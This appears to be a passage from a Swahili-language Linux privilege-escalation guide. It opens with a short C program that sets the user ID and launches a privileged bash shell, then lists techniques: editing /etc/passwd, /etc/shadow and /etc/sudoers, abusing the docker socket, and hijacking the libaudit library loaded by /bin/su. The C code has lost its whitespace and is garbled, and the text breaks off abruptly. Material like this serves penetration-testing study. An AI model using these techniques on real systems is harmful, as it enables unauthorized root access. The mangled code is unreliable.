// Privesc to user id: 1000#define_GNU_SOURCE#include<stdlib.h>#include<unistd.h>intmain(void) {char*const paramList[10] = {"/bin/bash","-p",NULL};constint id =1000;setresuid(id, id, id);execve(paramList[0], paramList,NULL);return0;}
Kuandika tena faili ili kupandisha mamlaka
Faili za kawaida
Ongeza mtumiaji mwenye nenosiri kwenye /etc/passwd
Badilisha nenosiri ndani ya /etc/shadow
Ongeza mtumiaji kwenye sudoers katika /etc/sudoers
Tumia docker kupitia socket ya docker, kawaida katika /run/docker.sock au /var/run/docker.sock
Kuandika tena maktaba
Angalia maktaba inayotumiwa na binary fulani, katika kesi hii /bin/su:
Ishara audit_open, audit_log_acct_message, audit_log_acct_message na audit_fd huenda zinatoka kwenye maktaba ya libaudit.so.1. Kwa kuwa libaudit.so.1 itabadilishwa na maktaba ya pamoja yenye uharibifu, ishara hizi zinapaswa kuwepo kwenye maktaba mpya ya pamoja, vinginevyo programu haitakuwa na uwezo wa kupata ishara hiyo na itatoka.